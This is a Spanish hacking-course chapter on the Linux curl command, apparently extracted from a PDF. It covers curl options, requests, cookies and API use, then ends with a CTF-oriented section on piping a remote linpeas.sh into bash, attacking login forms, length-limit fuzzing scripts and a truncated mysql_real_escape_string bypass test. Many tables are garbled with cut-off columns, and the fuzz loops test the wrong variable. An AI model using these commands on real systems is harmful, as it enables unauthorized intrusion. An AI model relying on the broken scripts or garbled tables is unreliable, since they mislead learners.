Comando curl para hacker

Descargar como docx, pdf o txt
Descargar como docx, pdf o txt
Está en la página 1de 38

Bienvenidos a este capítulo del Curso de Linux para Hackers – El Comando

curl. Comparte este articulo y síguenos para recibir más capítulos y cursos
gratis.

Esta guía es parte de un curso mucho más grande en donde te enseñamos a


convertirte en hacker de 0 a 100. Desde los conocimientos más básicos
hasta conseguir empleo.

En esta guía veremos desde cero un tema tan amplio como es Linux y lo
haremos desde el punto de vista del hacking y la ciberseguridad.

Para saber más comente a continuación, respondemos todos y cada uno de


los comentarios.

Índice

 ¿Te gustaría enterarte de cuando lanzamos descuentos y nuevos


cursos?

 Lo que aprenderás en este artículo

 El Comando curl en Linux

 ¿Qué es libcurl?

 Sintaxis:

 Opciones de curl:

 Protocolos de curl

 Instalación del comando curl

 Parámetro GET

 Parámetros POST

 Cookies

 Agentes de usuario de cURL

 Guarda la respuesta del servidor en un archivo.

 Descarga un archivo a la carpeta actual

 Sigue HTTP/1.1 302 redirecciones encontradas

 Encabezados de respuesta de salida de cURL a STDOUT


 cURL ve información detallada de depuración (encabezados de
respuesta y otros detalles de depuración – STD2)

 Buscando en la web

 Descargando archivos

 Comandos GET curl

 Comandos POST curl

 Interacción API

 Cookies

 curl Script

 curl avanzado

 Ejemplo de solicitud curl

 Obtener el contenido de la URL especificada

 Guardar datos en un archivo específico

 Consulta de encabezados HTTP

 Hackear con cURL

 Usando cURL para canalizar un scipt remoto (linpeas.sh) directamente


a bash:

 Atacar un formulario de inicio de sesión con cURL

 Creando nuevos usuarios con cURL

 Fuzzing servidores web con cURL

 Fuzzing con límites de longitud de URI / GET de longitud de parámetro


con cURL

 Fuzzing límites de longitud del parámetro POST con cURL

 Verifique si el inicio de sesión de un usuario es correcto en un script


Bash

 Automatizar la creación de usuarios y probar la omisión de


mysql_real_escape_string

 Resumen del artículo sobre el comando curl en Linux


 1. ¿Qué es curl y libcurl?

 2. Instalación del comando curl

 3. Sintaxis básica de curl

 4. Opciones principales de curl

 5. Ejemplos prácticos del comando curl

 6. Uso avanzado de curl para pruebas de seguridad

 7. Automatización y scripting con curl en Bash

 Conclusión

 Pon en práctica lo aprendido

 No te detengas, sigue avanzando

 ¿Te gustaría enterarte de cuando lanzamos descuentos y nuevos


cursos?

 Sobre los autores

 Álvaro Chirou

 Laprovittera Carlos

 Hacker de 0 a 100 desde las bases hasta conseguir empleo

 SIGUE APRENDIENDO GRATIS CON NUESTRAS GUIAS

 Aprende con nuestros más de 100 cursos que tenemos disponibles


para vos

¿Te gustaría enterarte de cuando lanzamos descuentos y nuevos cursos?

 Facebook

 Twitter

 LinkedIn

 Telegram

 TikTok
 YouTube

 Instagram

Lo que aprenderás en este artículo

1. Introducción al comando curl y sus usos básicos:

 Entender qué es curl y su importancia para transferir datos a


través de varios protocolos.

 Conocer libcurl, la biblioteca detrás de curl, que ofrece soporte


para múltiples protocolos de red.

2. Opciones y parámetros principales de curl:

 Aprender las opciones y banderas más utilizadas de curl para


realizar diferentes tipos de solicitudes HTTP (GET, POST, etc.).

 Saber cómo gestionar cookies, encabezados HTTP y datos de


formularios con curl.

3. Aplicaciones prácticas y ejemplos de uso de curl:

 Realizar solicitudes básicas y avanzadas, incluyendo descargas


de archivos, autenticación, y manipulación de cookies y
encabezados.

 Ejecutar scripts para automatizar consultas curl en diferentes


escenarios de hacking ético y pruebas de seguridad.

4. Uso avanzado de curl en la línea de comandos:

 Exploración de comandos de fuzzing y pruebas automatizadas


con curl en Bash.

 Cómo interactuar con APIs y realizar solicitudes de datos JSON o


autenticación basada en API.

El Comando curl en Linux

El comando curl de Linux se utiliza para descargar o cargar datos a un


servidor a través de protocolos compatibles como HTTP, FTP, IMAP, SFTP,
TFTP, IMAP, POP3, SCP, etc. Es una utilidad remota, por lo que funciona sin
interacción del usuario.

La transferencia de datos de un lugar a otro es una de las tareas más


importantes y utilizadas de un sistema informático. Sin embargo, existen
muchas herramientas GUI disponibles para la transferencia de datos. Pero,
cuando se trabaja en la línea de comandos, se vuelve un poco complicado.
La utilidad curl nos permite transferir datos a través de la línea de
comandos.

Curl ofrece una gran cantidad de trucos útiles, como reanudación de


transferencia de archivos, cookies, conexiones SSL, publicación HTTP, carga
FTP, autenticación de usuarios, compatibilidad con proxy y más. Curl está
mecanizado por libcurl para todos los aspectos relacionados con la
transferencia.

¿Qué es libcurl?

libcurl es una biblioteca de transferencia de URL gratuita del lado del cliente.
Admite SMB, SMTP, SCP, RTMP, RTSP, POP3, MQTT, LDAP, Kerberos, IMAP,
HTTPS, túnel de proxy HTTP, HTTP PUT, HTTP POST, HTTP/1, Gopher, FTPS,
FTP, DICT y cookies. La biblioteca también admite autenticación de usuario
más contraseña, servidores proxy, LDAPS, certificados HTTPS, carga basada
en formularios HTTP, carga FTP, reanudación de transferencia de archivos,
TFTP, Telnet, SFTP y esquema de URL de archivo.

libcurl es compacto. Crea y funciona de forma idéntica en varias plataformas,


incluidas Microsoft Windows, UnixWare, Ultrix, Tru64, Symbian, Solaris, RISC
OS, QNX Neutrino, OS/2, OpenBSD, NetWare, NetBSD, macOS, Linux, IRIX,
iOS, HURD, HP-UX, FreeBSD, DOS, Darwin, OpenVMS, BlackBerry 10,
BlackBerry Tablet OS, BeOS, Android, AmigaOS y AIX.

La biblioteca libcurl es compatible con IPv6, es segura para subprocesos y


gratuita. También hay enlaces disponibles para más de 50 lenguajes,
incluidos Python, PHP, Java y C/C++.

La biblioteca libcurl es compatible con SChannel, gskit en IBM i, NSS, mbed


TLS, GnuTLS en Windows, Secure Trasport en iOS y macOS, TLS/SSL a través
de OpenSSL, rustls, BearSSL, wolfSSL, AmiSSL, libressl y Boringssl.
Sintaxis:

La sintaxis básica para utilizar curl es la siguiente:

curl [opciones] [URL...]

1.

De la sintaxis anterior,

URL:

La sintaxis de la URL es una URL general que depende del protocolo.


Podemos especificar varias URL de la siguiente manera:

http://site.{uno,dos,tres}.com
1.

Opciones de curl:

El comando curl admite las siguientes opciones de línea de comandos:

–abstract-unix-socket <ruta>: se utiliza para conectarse a través de un


socket de dominio Unix abstracto en lugar de una red.

–anyauth: se utiliza para ordenar a curl que autentique el método por sí


mismo para utilizar el método más seguro. Esta utilidad es una utilidad
opcional «–basic, –digest, –ntlm y negotiate», que se utiliza para establecer
un método de autenticación específico.

-a, –append: se utiliza para cargar archivos. Agrega el archivo en lugar de


sobrescribirlo. Si el archivo indicado no existe en el servidor, creará uno.

–basic: especifica el uso de la autenticación básica HTTP . Es la opción


predeterminada del comando curl. Es útil para anular las configuraciones
anteriores.

–cacert <archivo>: se especifica para usar el archivo de certificado en


particular para verificar el par. Los archivos pueden tener varios certificados
de CA. El formato estándar para los certificados es PEM, por lo que todos los
certificados deben estar en él.

–capath <dir>: Se especifica para usar el directorio en particular para


verificar el par. Podemos especificar múltiples rutas separándolas con dos
puntos (:) como «ruta: ruta2:ruta3». El formato estándar para los certificados
es PEM, por lo que todos los certificados deben estar en él.

–cert-status: se utiliza para verificar el estado del certificado del servidor.


Utiliza la solicitud de estado del certificado o el protocolo TLS de OCSP.

–cert-type <type>: especifica el tipo de certificado curl proporcionado.


Estos certificados pueden estar en formato PEM, DER y ENG. El valor
predeterminado es PEM. Si se especifica varias veces, curl tomará el último
valor.

-E, –cert <certificado[: contraseña]>: se especifica para utilizar el


archivo de certificado de cliente al obtener un archivo a través de cualquier
protocolo basado en SSL, como HTTPS, FTPS, etc.

–ciphers <lista de cifrados>: Se utiliza para seleccionar los cifrados a


utilizar en la conexión.
–compressed-ssh: se utiliza para habilitar la compresión SSH incorporada.
Esta opción se considerará una solicitud del servidor, por lo que el servidor
puede aceptarla o no.

–compressed: se utiliza para solicitar una respuesta comprimida mediante


los algoritmos curl y guarda el documento sin comprimir. Esta opción enviará
un informe sobre la codificación curl no compatible.

-K, –config <archivo>: se utiliza para describir un archivo de texto para


leer argumentos de curl. curl utilizará los argumentos de la línea de
comandos del archivo de texto.

–connect-timeout <segundos>: se utiliza para especificar el tiempo


máximo en segundos para el tiempo de espera de la conexión curl.

–connect-to <HOST1:PORT1:HOST2:PORT2>: se utiliza para crear una


solicitud al par de host y puerto indicado; de lo contrario, se conectará al
siguiente par. Esta opción es una herramienta útil para realizar solicitudes
directas a un servidor específico.

-C, –continue-at <offset>: se utiliza para continuar o reanudar una


transferencia de archivo anterior en el desplazamiento indicado.

-c, –cookie-jar <nombre_archivo>: Se utiliza para especificar un archivo


particular en el que queremos escribir todas las cookies después de una
operación exitosa.

-b, –cookie <data>: Se utiliza para reenviar datos al servidor HTTP en el


encabezado de la cookie.

–create-dirs: Se utiliza junto con la opción ‘-o?’, creará la jerarquía de


directorio local requerida.

–crlf (FTP SMTP): se utiliza para convertir LF a CRLF en la carga. Es una


herramienta muy útil para MVS (OS/390).

–crlfile <archivo>: Se utiliza para especificar (en formato PEM) una Lista de
Revocación de Certificados.

–data-ascii <data>: Es un alias para la opción ?-d?.

–delegation <NIVEL>: Se utiliza para establecer el NIVEL para reconocer al


servidor lo que tiene permitido delegar cuando se trata de credenciales de
usuario.

–digest: Se utiliza para habilitar la autenticación HTTP Digest.


-q, –disable: si se usa como primer argumento, ignorará el archivo de
configuración curlrc.

–dns-interface <interfaz>: Se utiliza para reconocer al servidor para


enviar las solicitudes DNS salientes.

–dns-servers <direcciones>: se utiliza para especificar los


servidores DNS en lugar de los servidores predeterminados.

-f, –fail: se utiliza para hacer que curl falle silenciosamente ante errores del
servidor.

-F, –form <nombre=contenido>: Se utiliza para emular un formulario


completado enviado por el usuario.

-P, –ftp-port <dirección>: se utiliza para revertir los roles de escucha


predeterminados al conectarse con FTP.

–ftp-ssl-ccc-mode <activo/pasivo>: Se utiliza para establecer el modo


CCC.

-G, –get: Se utiliza para especificar datos con la opción ?-d? que se utilizarán
en una solicitud HTTP GET en lugar de una solicitud POST.

-h, –help: Se utiliza para mostrar el manual de ayuda con una breve
descripción del uso y opciones de soporte.

-0, –http1.0: Se especifica para utilizar la versión HTTP 1.0.

–ignore-content-length: se utiliza para ignorar el encabezado Content-


Length.

-i, –include: Se utiliza para incluir los encabezados de respuestas HTTP.

-4, –ipv4: Se utiliza para resolver nombres en direcciones IPv4.

-6, –ipv6: Se utiliza para resolver nombres en direcciones IPv6.

Protocolos de curl

Curl admite varios protocolos:

 DICT: Nos permite buscar palabras únicamente con diccionarios.

 FTP (S): Curl admite el protocolo FTP mediante una gran cantidad de
herramientas y ajustes, con o sin TLS.
 ARCHIVO: Nos permite escribir y leer el archivo local. Curl no permite
acceder remotamente a file://URL, pero funcionará cuando esté activo
en Microsoft Windows con el enfoque UNC nativo.

 GOPHER (S): Recupera archivos.

 HTTP (S): Curl admite HTTP mediante numerosas variaciones y


opciones. Puede hablar en las versiones HTTP 0.9, 1.0, 1.1, 2 y 3 según
la línea de comandos y las opciones de compilación precisas.

 IMAP (S): Curl descarga los correos electrónicos para nosotros con el
protocolo de lectura de correo. Con o sin TLS.

 LDAP (S): Curl puede implementar la búsqueda de directorio para


nosotros con o sin usar TLS.

 MQTT: Curl es compatible con la versión 3 de MQTT. Descargar en


MQTT es lo mismo que «suscribirse» a cualquier tema, y
publicar/subir contenido es lo mismo que «publicar» en cualquier
tema. MQTT no es compatible con TLS.

 POP3 (S): Descargar a través de un servidor pop3 representa recibir


correo sin o con TLS.

 RTMP (S): El RTMP o Protocolo de mensajería en tiempo real se utiliza


principalmente para la transmisión de medios por servidor.

 RTSP: Curl admite las descargas 1.0 de RTSP.

 SCP: Curl admite la versión de transferencia de dos scp de SCP.

 SFTP: Curl admite SFTP a través de la segunda versión de SSH.

 SMB (S): Curl admite la versión 1 de SMB para descarga y carga.

 SMTP (S): Subir contenidos a cualquier servidor SMTP significa


transferir un correo electrónico sin o con TLS.

 TELNET: Al informar a curl que traiga una URL de telnet se inicia una
sesión interactiva en la que transfiere lo que lee por stdin y da como
resultado lo que le transfiere el servidor.

 TFTP: Curl puede implementar cargas y descargas TFTP.

Instalación del comando curl


El comando curl viene con la mayoría de las distribuciones de Linux . Pero, si
el sistema no trae curl por defecto, deberá instalarlo manualmente. Para
instalar curl, ejecute los siguientes comandos:

sudo apt install curl

1.

Verifique la instalación ejecutando el siguiente comando:

curl --version

1.

El comando anterior mostrará la versión instalada del comando curl.

Nota: Los sitios web activos en los siguientes comandos funcionan al


momento de escribir este artículo, pero las URL y la tecnología pueden
cambiar en cualquier momento. Demos un vistaso rápido de lo que puedes
ahacer:

Parámetro GET

Las variables HTTP GET se pueden configurar agregándolas a la URL.

curl http://10.10.10.10/index.php?sessionid=vn0g4d94rs09rgpqga85r9bnia

Parámetros POST

Las variables HTTP POST se pueden configurar utilizando el parámetro -d (–


data).
Aquí hay un ejemplo de prueba de inicio de sesión simple:

$ curl --data "[email protected]&password=test"


http://10.10.10.10/login.php

Cookies
cURL tiene un motor de cookies completo que se puede utilizar para
almacenar y cargar las cookies que se le pasan desde un servidor entre
sesiones:

$ curl -b oldcookies.txt -c newcookies.txt http://10.10.10.10/login.php

También puedes especificar tus propias cookies usando el parámetro -b:

$ curl -b "PHPSESSID=vn0g4d94rs09rgpqga85r9bnia"
http://10.10.10.10/home.php

Agentes de usuario de cURL

$ curl -A "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"


http://10.10.10.10/login.php

Guarda la respuesta del servidor en un archivo.

$ curl -o payload.sh http://10.10.10.10/payload.sh

Descarga un archivo a la carpeta actual

$ curl -O http://10.10.10.10/payload.zip

Sigue HTTP/1.1 302 redirecciones encontradas

curl -L http://10.10.10.10/profile.php

Encabezados de respuesta de salida de cURL a STDOUT

$ curl -i http://10.10.10.10/profile.php

cURL ve información detallada de depuración (encabezados de respuesta y


otros detalles de depuración – STD2)

$ curl -v http://10.10.10.10/profile.php

Buscando en la web

El uso más sencillo de curl es la visualización de sitios web y archivos en la


línea de comandos, que es también la forma en que la mayoría de los
estudiantes de informática aprenden sobre curl en primer lugar.

Las opciones curl (también conocidas como banderas ) comienzan con un


guión (-) o dos (–) y toman argumentos que son cadenas, URL o rutas de
archivo.
DOMINIO DESCRIPCIÓN

curl https://achirou.com/ Devuelve el archivo fuente de una URL h

curl --list-only
Lista de contenidos del directorio http://s
"http://socialdance.stanford.edu/music/"

curl -l Abreviación decurl --list-only

Redirigir la consulta según lo especificad


curl --location
HTTP 3xx. Este directorio URL, https://av
"https://aveclagare.org/mp3"
de archivos MP3 usando el curl --list-only

curl -L Abreviación de curl --location

curl --fail-early "ftp://ftp.corel.com" Falla rápidamente al resolver ftp://ftp.cor

curl --head "https://achirou.com/" Obtener encabezados HTTP de la URL ht

curl -I Abreviación decurl --head

curl --head --show-error


Compruebe si el sitio https://achirou.com
"https://achirou.com/holamundo/"

curl --head --location Expanda una URL acortada o disfrazada:


"https://lnkd.in/dQ2hhwz3" | grep https://lnkd.in/dQ2hhwz3 redirige a una e
Location cuando desea descubrir los sitios web re

Descargando archivos

Los siguientes comandos son útiles cuando deseas extraer contenido de


sitios web. Los siguientes comandos devuelven resultados significativos al
momento de escribirlos. Cambie los parámetros para adaptarlos a sus
propósitos.

DOMINIO DESCRIPCIÓN

curl --output hello.html https://achirou.com/ Envía la URL https://ach


DOMINIO DESCRIPCIÓN

La abreviatura de curl --
curl -o
antes del parámetro de

curl --remote-name Descargue un archivo d


"https://core.ac.uk/download/pdf/71450528.pdf" https://core.ac.uk/down
archivo sin cambiar su n

Descargue un archivo
de https://core.ac.uk/do
curl -"https://core.ac.uk/download/pdf/71450528.pdf“ --
nombre. notas_hack.pdf
output notas_hack.pdf
Alternativamente, pued
outputcon >. Reemplaz

curl --remote-name --continue-at - Continuar con la descar


"https://core.ac.uk/download/pdf/71450528.pdf" https://core.ac.uk/down

curl
Descargue archivos des
"https://en.wikipedia.org/wiki/{Linux,Windows,OSX}" --
nombre según el format
output "file_#1.html"

curl "https://www.gutenberg.org/files/[158-161]/[158- Descargar una secuenc


161]-0.{txt,zip}" --output "bk#1_#2.#3" resultados. bk158_158.t

Descargue todos los arc


URL http://socialdance.s
Aquí, use grep para filtr
curl --location http://socialdance.stanford.edu/music/ |
ruta a los archivos requ
grep '.mp4' | cut -d \" -f 8 | while read i; do curl
ruta estaba en el octavo
http://socialdance.stanford.edu/music/"${i}" -o "$
con curl ayuda a descar
{i##*/}"; done
Necesitará modificar los
otros tipos de archivos y
el código fuente HTML d

Comandos GET curl

Las variables HTTP GET se pueden configurar agregándolas a la URL.

$ curl http://10.10.10.10/index.php?sessionid=vn0g4d94rs09rgpqga85r9bnia
Utilice estos comandos para realizar una solicitud GET mediante curl. Los
comandos curl GET pueden requerir que pases claves de autorización a
través de la bandera --header.

También puede realizar otras solicitudes HTTP como PUT y DELETE usando
curl y los indicadores apropiados.

DOMINIO DESCR

Obten
curl --request GET "https://achirou.com/" URL ht
del ter

curl -X Abrevi

Obten
curl --request GET
la view
'https://us-east-1.aws.data.mongodb-api.com/app/viewdata-kqgls/endpoin
propor
t/view?
parám
secret=ZAEOuvuEVLF5ll3kGP8FFkAj1GMKB8xu1jRx5D7210gXiZHa5agdbS
es un
q8pzbpI8Lo' --header 'Content-Type: application/json'
docum

Obten
la view
el enc
curl --request GET propor
'https://us-east-1.aws.data.mongodb-api.com/app/viewdata-kqgls/endpoin El resu
t/view? Mongo
secret=ZAEOuvuEVLF5ll3kGP8FFkAj1GMKB8xu1jRx5D7210gXiZHa5agdbS app w
q8pzbpI8Lo&id=636b5046e54ce11139fd8b96' --header 'Content-Type: conten
application/json' expect
{“_id”
”Alvar
everyo

Comandos POST curl

Las variables HTTP POST se pueden configurar utilizando el parámetro -d (–


data).
Aquí hay un ejemplo de prueba de inicio de sesión simple:
$ curl --data "[email protected]&password=test"
http://10.10.10.10/login.php

Utilice estos comandos para realizar una solicitud POST utilizando curl. Los
comandos curl POST pueden requerir que el --headerindicador pase claves
de autorización.

También puede realizar otras solicitudes HTTP como PUT y DELETE usando
curl y los indicadores apropiados.

DOMINIO DESCRIPCIÓN

curl --header Pasar un encabezado a la URL

curl -H Abreviación decurl --header

curl --request POST "https://achirou.com/ " -d


Obtenga la fuente HTML de la U
'some data'

curl -X Abreviación decurl --request

curl --request POST 'https://data.mongodb-


api.com/app/data-meetp/endpoint/data/v1/action/
insertOne' --header 'Content-Type:
Cargue a través de la API de da
application/json' --header 'api-key:
dado a una base de datos y a u
ZAEOuvuEVLF5ll3kGP8FFkAj1GMKB8xu1jRx5D72
resultado esperado: {"inserted
10gXiZHa5agdbSq8pzbpI8Lo' --data-raw
esto significa que curlhacks se
'{"dataSource": "Cluster0","database":
como un documento MongoDB
"curlhacks","collection": "curlhacks","document":
{ "name": "Alvaro", "age": 37, "greeting":
"Greetings, everyone." }}'

curl --request POST 'https://data.mongodb- Solicite a través de la API de da


api.com/app/data-meetp/endpoint/data/v1/action/ colección, ambas denominadas
findOne' --header 'Content-Type: application/json' par clave-valor {"name": "Alice
--header 'api-key: El resultado esperado es el doc
ZAEOuvuEVLF5ll3kGP8FFkAj1GMKB8xu1jRx5D72 {"_id":"636b5046e54ce11139f
10gXiZHa5agdbSq8pzbpI8Lo' --data-raw greeting":"Greetings, everyone
'{"dataSource": "Cluster0","database":
"curlhacks","collection": "curlhacks","filter":
DOMINIO DESCRIPCIÓN

{ "name": "Alvaro" }}'

curl --request POST 'https://data.mongodb-


api.com/app/data-meetp/endpoint/data/v1/action/
deleteOne' --header 'Content-Type: Elimine a través de la API de da
application/json' --header 'api-key: proporcionado de la base de da
ZAEOuvuEVLF5ll3kGP8FFkAj1GMKB8xu1jRx5D72 denominados curlhacks.
10gXiZHa5agdbSq8pzbpI8Lo' --data-raw El resultado esperado: {"delete
'{"dataSource": "Cluster0","database": esto significa que curlhacks se
"curlhacks","collection": "curlhacks","filter": MongoDB, concretamente el es
{ "_id": { "$oid": "636b4f88fd82bd55d90962c6" }
}}'

Interacción API

Los siguientes comandos pueden ayudarle a automatizar las solicitudes de


consultas web, como los envíos de formularios de Google.

DOMINIO D

curl "https://gitlab.com/api/v4/projects" C

P
s
u
curl --header "Auth-Token:$DB_APP_TOKEN"
c
"https://example.com/api/v3/endpoint"
l
e
a

curl -H A

E
curl --data "Alvaro"
U
"https://docs.google.com/forms/d/e/[GoogleFormID]/formResponse"
e

curl -d A
DOMINIO D

E
curl --data "Alvaro" U
"https://docs.google.com/forms/d/e/[GoogleFormID]/formResponse" > e
output.html e
d

E
c
curl --form "[email protected]" --form "submit=Submit"
(
"https://docs.google.com/forms/d/e/[GoogleFormID]/formResponse" >
p
output.html
s
d

curl -F A

E
G
a
m
s
e
d
curl --form "entry.123456789=</Users/user1/Downloads/playlist.m3u" s
"https://docs.google.com/forms/d/e/[GoogleFormID]/formResponse" > d
output.html n
u
E
h
s
I
s
d

curl --form "entry.123456789=</Users/user1/Downloads/playlist.m3u" --form E


DOMINIO D

A
"[email protected]" c
"https://docs.google.com/forms/d/e/[GoogleFormID]/formResponse" r
e

D
m
curl --data d
"entry.123456789=</Users/user1/Downloads/playlist.m3u&emailAddress=test E
@myemail.com" y
"https://docs.google.com/forms/d/e/[GoogleFormID]/formResponse" <
L
t

E
a
c
d
s
i
curl --form "[email protected]" "https://www.iloveimg.com/resize-image" >
a
output.html
i
curl --form "input=/Users/user1/Downloads/pic1.jpg"
d
"https://www.iloveimg.com/resize-image" > output.html
t
p
d
E
l
i

Cookies

cURL tiene un motor de cookies completo que se puede utilizar para


almacenar y cargar las cookies que se le pasan desde un servidor entre
sesiones:

$ curl -b oldcookies.txt -c newcookies.txt http://10.10.10.10/login.php

También puedes especificar tus propias cookies usando el parámetro -b:


$ curl -b "PHPSESSID=vn0g4d94rs09rgpqga85r9bnia"
http://10.10.10.10/home.php

Parece que la sola acción de enviar cookies al sitio web de destino no afecta
el diseño HTML del sitio web. Sin embargo, curl admite los siguientes
métodos:

DOMINIO DESCRIPCIÓN

curl --cookie "registered=yes" Enviar "registered=yes"como c

curl --cookie
Enviar “nombre=Alvaro” y "em
"name=Alvaro;[email protected]"

Enviar el contenido de import_


Como la mayoría de los navega
curl --cookie import_cookies.txt
Cookie:”prefijo, formatee sus c
key1=value1;key2=value2

curl -b Abreviación de--cookie

Escriba cookies mycookies.txtd


curl --cookie-jar mycookies.txt
otras banderas

curl -c Abreviación de--cookie-jar

curl --dump-header Envíe encabezados HTTP y dat


headers_and_cookies.txt https://achirou.com/ aheaders_and_cookies.txt

curl -D Abreviación decurl --dump-hea

curl Script

Puede utilizar comandos curl en scripts bash. Aquí hay algunos scripts de
ejemplo que involucran comandos curl:

EJEMPLO DESCRIPCIÓN

paquete-instalación-curl.sh Instalar paquetes con curl


EJEMPLO DESCRIPCIÓN

curl-url-time.sh Consultar el tiempo de respuesta d

formato curl-json.sh Embellecer la salida json para la re

curl-remote-scripts.sh curl ejecutar scripts remotos

curl avanzado

Aquí hay algunos comandos para ajustar sus operaciones de rizo.

DOMINIO DESCRIPCIÓN

curl -h Mostrar comandos de ayuda

curl --version Mostrar versión rizo

Obtenga resultados detallados mien


curl -v ftp://ftp.afip.com/ URL ftp://ftp.afip.com/. Puede usar e
indicadores como --head, --location.

Obtenga detalles de los paquetes ca


curl --trace ftp_X.txt https://twitter.com/
URL https://twitter.com/

Descargue la URL https://twitter.com


curl -s https://twitter.com/ > twitter.html
progreso

curl -L "https://twitter.com/search" -- Especifique el tiempo máximo en se


connect-timeout 0.1 permitido para conectarse a la URL h

curl -s -w '%{remote_ip} %{time_total} % Devuelve los valores de los parámet


{http_code} \n' -o {remote_ip} %{time_total} %{http_
/dev/null https://achirou.com/ suprime todas las demás salidas del

curl -r 0-99 https://achirou.com/ Obtenga los primeros 100 bytes de l

curl -r -500 https://achirou.com/ Obtenga los últimos 500 bytes de la


DOMINIO DESCRIPCIÓN

Obtenga los primeros 100 bytes de u


curl -r 0-99 ftp://ftp.afip.com
posiciones iniciales y finales explícita

curl -m 0.1 Especifique el tiempo máximo de op

Ejemplo de solicitud curl

Concluyamos este artículo con un truco de solicitud POST curl. Proceda bajo
su propio riesgo.

DOMINIO DESCRIPCIÓN

curl -X POST https://textbelt.com/text --data- Envía un mensaje de texto SM


urlencode phone='+[area code][phone number]' en formato E.164 a través de h
--data-urlencode message='Hola Mundo =).' -d API textbelt. Si tiene una clave
key=textbelt ” textbelt” con ella.

Obtener el contenido de la URL especificada

Para obtener el contenido de una URL específica , ejecute el comando curl,


seguido de la URL. Considere el siguiente comando:

curl https://achirou.com

El comando anterior obtendrá los datos de la página especificada. Observe la


siguiente captura de pantalla del resultado:
En el resultado anterior, podemos ver que se están obteniendo los datos de
la página de la URL indicada. Para detener la ejecución, presione las teclas
CTRL+C.

Guardar datos en un archivo específico


Para guardar los datos en un archivo específico, pase la opción ‘-o’ seguida
del directorio, el nombre del archivo y la URL de la siguiente manera:

curl -o <directorio>/<nombre de archivo> <URL>

1.

Considere el siguiente comando:

curl -o alvaro.html https://achirou.com

1.

El comando anterior guardará los datos de la página en el archivo


‘alvaro.html’. Observe el resultado que se muestra a continuación:

Desde el comando anterior, podemos ver la cantidad total de datos


descargados, datos recibidos, tiempo promedio y algunas otras estadísticas
sobre los datos.

Para verificar los datos descargados, abra el archivo ejecutando el comando


cat

cat alvaro.html

1.

Considere la siguiente instantánea de salida:


Consulta de encabezados HTTP

Los encabezados HTTP contienen información adicional que permite al


servidor web descargar esta información. Para consultar los encabezados
HTTP de un sitio web, ejecute el comando con la opción ‘-I’ de la siguiente
manera:

curl -I https://achirou.com

El comando anterior producirá el siguiente resultado:

Hackear con cURL

Ahora que hemos cubierto la sintaxis básica y los casos de uso, aquí hay
algunas aplicaciones de hacking prácticas que son muy útiles en Hackthebox
o cajas CTF.

Usando cURL para canalizar un scipt remoto (linpeas.sh) directamente a


bash:

$ curl -sSk "http://10.10.10.10/linpeas.sh" | bash

Atacar un formulario de inicio de sesión con cURL

$ curl --data "[email protected]&password=test"


http://10.10.10.10/login.php

Creando nuevos usuarios con cURL

$ curl --data "name=test&[email protected]&password=test"


http://10.10.10.10/newuser.php

Fuzzing servidores web con cURL

A menudo, al realizar una evaluación de un servidor web, intentaremos


desencadenar condiciones de error que proporcionarán información más
profunda sobre los procesos y el software subyacentes. cURL puede ser una
poderosa herramienta de fuzzing para generar estos mensajes de error de
casos extremos.
Fuzzing con límites de longitud de URI / GET de longitud de parámetro con
cURL

El siguiente script se puede utilizar para crear un servidor web con una URL
larga, realizar un seguimiento de los cambios en la salida y escribir la salida
en un archivo. Está destinado a ser una base para que construya un fuzzer
adecuado para su propósito usando cURL y Bash. Puede modificar la URL
para difuminar un URI o un parámetro GET.

Aquí está el script de bash shell:

#!/bin/bash

echo "args: <URL> <Start Length #> <End Length #> <Output Filepath>"

echo "Length Lines Words Bytes Filename"

echo "---------------------------------"

for ((i = $2; x <= $3; i++))

do

fuzz=""

for ((x = 1; x <= $i; x++))

do

fuzz+="A"

done

#echo "COUNT: $i $fuzz"

#echo "${1}${fuzz}"

echo "${i}" | { tr -d '\n' ; curl "${1}${fuzz}" -o ${4} 2>/dev/null | wc


${4}; }

done

A continuación se muestra un ejemplo de cómo se ve en ejecución:

./fuzz_url.sh http://10.10.10.10/ 1000 1000000 output.txt

args: <URL> <Start Length #> <End Length #> <Output Filepath>

Length Lines Words Bytes Filename

---------------------------------
1000 9 31 274 output.txt

...

...

100000 11 37 343 output.txt

100001 11 37 343 output.txt

100002 11 37 343 output.txt

100003 11 37 343 output.txt

100004 11 37 343 output.txt

100005 11 37 343 output.txt

Fuzzing límites de longitud del parámetro POST con cURL

El siguiente script se puede utilizar para modificar los parámetros POST de


un servidor web y escribir la salida en un archivo y realizar un seguimiento
de los cambios en esa salida. Está destinado a ser una base para que
construya un fuzzer adecuado para su propósito usando cURL y Bash.

Aquí está el script de bash shell:

#!/bin/bash

echo "args: <URL> <Start Length #> <End Length #> <Output Filepath>
<Post data: var=value&var2=valuefuzz>"

echo "Length Lines Words Bytes Filename"

echo "---------------------------------"

for ((i = $2; x <= $3; i++))

do

fuzz=""

for ((x = 1; x <= $i; x++))

do

fuzz+="A"

done

#echo "COUNT: $i $fuzz"


#echo "${5}${fuzz}"

echo "${i}" | { tr -d '\n' ; curl "${1}" -o ${4} -d "${5}${fuzz}"


2>/dev/null | wc ${4}; }

done

A continuación se muestra un ejemplo de cómo se ve en ejecución:

./fuzz_post.sh http://10.10.10.10/ 1000 1000000 output.txt


"user=test&password=test"

args: <URL> <Start Length #> <End Length #> <Output Filepath>

Length Lines Words Bytes Filename

---------------------------------

1000 9 31 274 output.txt

...

...

100000 11 37 343 output.txt

100001 11 37 343 output.txt

Verifique si el inicio de sesión de un usuario es correcto en un script Bash

El siguiente script se puede utilizar para verificar que un nombre de usuario


y un inicio de sesión sean correctos. Está destinado a ser una base para que
construya un fuzzer adecuado para su propósito usando cURL y
Bash. Verificará los caracteres de longitud de la respuesta para ver si es una
respuesta válida. Deberá ajustar el recuento de caracteres esperado para su
aplicación.

#!/bin/bash

result=($(curl --data "email=$2&password=$3" "$1" 2>/dev/null | wc -c))

echo $result

if [ "$result" == '0' ]

then

echo 'zero'

else
echo 'NOT zero'

fi

Aquí está el guión en acción:

$ ./check_user.sh http://10.10.10.10/login.php [email protected] testpassword

NOT zero

Automatizar la creación de usuarios y probar la omisión de


mysql_real_escape_string

Está destinado a ser una base para que construya un fuzzer adecuado
usando cURL y Bash. Aquí hay un script bash que creé para un CTF para
validar una teoría que tenía sobre el uso del método PHP
mysql_real_escape_string:

#!/bin/bash

# Test for mysql_real_escape_string

[email protected]

password=1234567890123456789012345678901234567890123456789012
345678901234567890123456789

fuzz="뽜’’AA"

name="‘¿’’AA"

ip="10.10.10.10"

echo "Creating User: ${email}"

curl -i -b 'cookies.txt' -c 'cookies.txt' -d "name=${name}&email=$


